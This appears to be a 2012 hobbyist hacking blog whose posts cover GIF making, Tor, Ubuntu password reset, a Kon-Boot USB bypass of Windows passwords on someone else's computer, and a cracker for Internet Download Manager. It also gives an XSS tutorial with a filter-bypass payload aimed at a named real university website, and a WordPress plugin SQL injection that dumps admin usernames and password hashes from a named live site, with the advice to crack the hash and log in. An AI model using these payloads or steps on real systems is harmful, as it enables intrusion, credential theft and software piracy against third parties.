Wednesday, 28 March 2012

How to create animated image in gif format

Today i am posting about the creation of animated images which mainly used in websites which are in gif format.
For this you will need a software named as "Gif animator".
In this we will use differnet images in jpg format but you can use any format.Now lets start, follow all the steps according to post:--->
1.First download software from here.
2.Now click add Button.

3.Now select an image like in picture and add as many images as your wish using same procedure.
4.Now click on Create to create gif image and save it in your desired location.Now open it in a browser and you will see the result.

Saturday, 17 March 2012

How to hack windows password using usb full tutorial and very easy to use

Today i am posting a new post about the hacking windows admin password. You all are familier about the some other sites which provide bootable images to hack windows password but they are coastly. In this i am not using any cd/dvd but a usb. I make a bootable usb and from the usb to hack windows password. In this tutorial we dont have to type and long code or script. 


Follow my all the steps according to given order, so here the steps:----------->
1. First download KON USB software from here.
2. Now extract all the files to any folder.
3. Now plugin the USB or pendrive and note down the drive letter(which is written as "Pendrive Name (I:)" Letter can be changed as per your machine.

4. Now click on KonBootInstall.exe and leave other files untoached.


5. Now entre the pendrive letter that we have found in step 3 and press entre and it will show a message that 
"KonBoot installed successfully and press entre to exit". Now you have make a bootable pendrive.
6. Now plug the pendrive in that computer or laptop whom you want o hack the password and start it. Make sure you have selected boot from usb hdd in bios settings its mainly automatic selected.
7. Now while switch on of computer a boot scrren will appear in which automatic typing will there.
8. After the Bootscreen a screen will come with option 'Kryptos Logic : Kon-Boot' and something like this like in image. Now press entre.
9. Now a screen will come with logo of Kon Usb software and window will start automatically.

10. Now when Window asked for password then simply press enter no need to entre any letter in password box.


11. Now it will look like in image and after that u will see the desktop.

Notes will performing this:----->
1. Dont plug out the pen drive in whole process.
2. Use it for educational purpose.


Friday, 16 March 2012

How to becaome hidden, Anonymous and secure on internet

Friends do you want to become hidden in internet so that no one catch you, here is the solution, many of you have listen about proxy and ip address changer but they dont so powerfull that they can hide you but here i have a software which make you hidden in whole cyber world and the software name is TOR. I think its best from all other softwares.

Facts about Tor :--->
1. User Friendly
2. Very small in size only 20 mb
3. Connects you to more than 20 countries ips of highest speeds
4. Works with IE ,Firefox
Download link ----->
Download here

Wednesday, 14 March 2012

Reset your Ubuntu password


If you’ve ever forgotten your password, you aren’t alone… it’s probably one of the most common tech support problems I’ve encountered over the years. Luckily if you are using Ubuntu they made it incredibly easy to reset your password.
image 
All it takes is adjusting the boot parameters slightly and typing a command or two, but we’ll walk you through it.
Reset Your Ubuntu Password
Reboot your computer, and then as soon as you see the GRUB Loading screen, make sure to hit the ESC key so that you can get to the menu.
Root Shell – Easy Method
If you have the option, you can choose the “recovery mode” item on the menu, usually found right below your default kernel option.
Then choose “Drop to root shell prompt” from this menu.
This should give you a root shell prompt.
Alternate Root Shell Method 
If you don’t have the recovery mode option, this is the alternate way to manually edit the grub options to allow for a root shell.
First you’ll want to make sure to choose the regular boot kernel that you use (typically just the default one), and then use the “e” key to choose to edit that boot option.
 
Now just hit the down arrow key over to the “kernel” option, and then use the “e” key to switch to edit mode for the kernel option.
You’ll first be presented with a screen that looks very similar to this one:
You’ll want to remove the “ro quiet splash” part with the backspace key, and then add this onto the end:
rw init=/bin/bash
 
Once you hit enter after adjusting the kernel line, you’ll need to use the B key to choose to boot with that option.
 
At this point the system should boot up very quickly to a command prompt.
Changing the Actual Password
You can use the following command to reset your password:
passwd <username>
For example my username being thehackersgroup I used this command:
passwd thehackersgroup
After changing your password, use the following commands to reboot your system. (The sync command makes sure to write out data to the disk before rebooting)
sync
reboot –f
I found that the –f parameter was necessary to get the reboot command to work for some reason. You could always hardware reset instead, but make sure to use the sync command first.

Tuesday, 13 March 2012

Cross site scripting a new way for website hacking


I hope you have already heard about Cross Site Scripting known as XSS. Just go through this first en.wikipedia.org/wiki/Cross-site_scripting . I have focussed on finding  an XSS hole and bypssing a filter.
XSS is a web application vulnerability  that occurs due to improper or no filteration of user's input . It enables the malicious attackers to inject client-side script into web pages. This is not something with which you are gonna deface a website or break in admin panel. This bug can be dangerous for users if found on any online forms . Basically you can do mainly two things that are stealing user sessions and injecting iframes. Actually this bug is basically exploited to harm the visitors rather than administrators.Okay Lets learn the approach to find XSS bugs.

You might have tried finding an XSS hole by inserting a script like this <script>alert('XSS')</script> in Search fields and hoping for a box to popup saying XSS. But its not always the way to find a XSS bug.

This example will make you everything clear.

Okay,  go to this URL
http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=Overview

Lets Replace 'Overview' with any keyword . Say 'test' and hit enter

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=test

Now check the source code of page and search for keyword 'test' by using Ctrl+F and we can find that in the code.

 Carefully, see where it got inserted in the source code
                    

<title>Chitkara Educational Trust > test</title>

Now lets replace the 'test' with  </title><h1>XSS</h1> and see what happens

Note- <h1> It is the html heading tag </h1>


http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><h1>XSS</h1>
We can see the keyword 'XSS' displayed on the webpage.



Lets again see the page source



We entered </title> to complete the title  tag ( <title>) and <h1>XSS</h1> is the actually html tag we wanted to see on the page.

 I hope it was a simple part and is clear to you.

Now Lets try to execute a javascript code <script>alert('XSS')</script>. A popup message box saying XSS should appear on the webpage.
Lets go to this URL

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><script>alert('XSS')</script>

But Nothing Happens !!!

Now check the source code again



See the slashes ( \ ) automatically inserted before the single quotes ( ' ) ,we entered.  Obviously,due to this our code didn't execute.This is a kind of filter that we need to bypass . 


Here we will be using a javascript built in function called String.FromCharCode() that is used to encode/decode strings. Now both these codes
<script>alert('XSS')</script> and <script>alert(String.fromCharCode(88, 83, 83))</script>
has the same function but we can see that THERE ARE NO QUOTES IN SECOND CODE.

Note: 88 and 83 are ASCII values for X and S respectively.  Visit this http://www.asciitable.com for more.

Finally, try this

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><script>alert(String.fromCharCode(88, 83, 83))</script> 


Yes, it worked.

So finally we have managed to execute a javascript :)

Monday, 12 March 2012

Free IDM cracker to crack any version of IDM

As you know that internet download manager is best download manager. Due to this every one wants this , many cracks and serials are released but some are fakes and some are viruses. Todya when i was busy in internet world i found this trick to crack IDM.
Things Needed :--------->
1. Download any trial version of IDM.
2. Then download this tool named as IDM cracker from HERE.

Procedure:-------->

1. Now after you have downloaded it fire it up and make sure you have already installed latest version IDM on your PC, well if its not latest than you just need to click on Update in this tool and than go to your IDM and choose check for updates and update it too the latest version.
2. Now after you have updated it too the latest version you just need to crack it up so that its again full version and you can use it for as long as you wanted too.
3. So now just again go to IDM Cracker Tool and than click on Start and it will patch your IDM and now you will have a full working version of IDM.


Sunday, 4 March 2012

Easiest way to hack a wordpress blog


Easy way of hacking Wordpress website

Hi here i tell you how to hack wordpress site with easy way i will use exploit to hacksites i saw lots of Messages that say "hey help can anyone can tell me how to hack wordpress" and it's an easy way with exploit ?



First we search with this in google to find sites

inurl:"wp-content/plugins/photoracer/viewimg.php?id="

see the Result :-



[Image: asdmr.png]

and i'm gonna test 1 of them for ex this find in google


http://www.badged.gr/wp-content/plugins/photoracer/viewimg.php?id=2


we are going to add the exploit : this is the exploit



/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--


and the site look like this


http://www.badged.gr/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--


http://img638.imageshack.us/img638/2927/asddy.png



now you can see the user and pass :D ! Just crack the hash and it's done
The admin panel is
http://Site/wp-login.php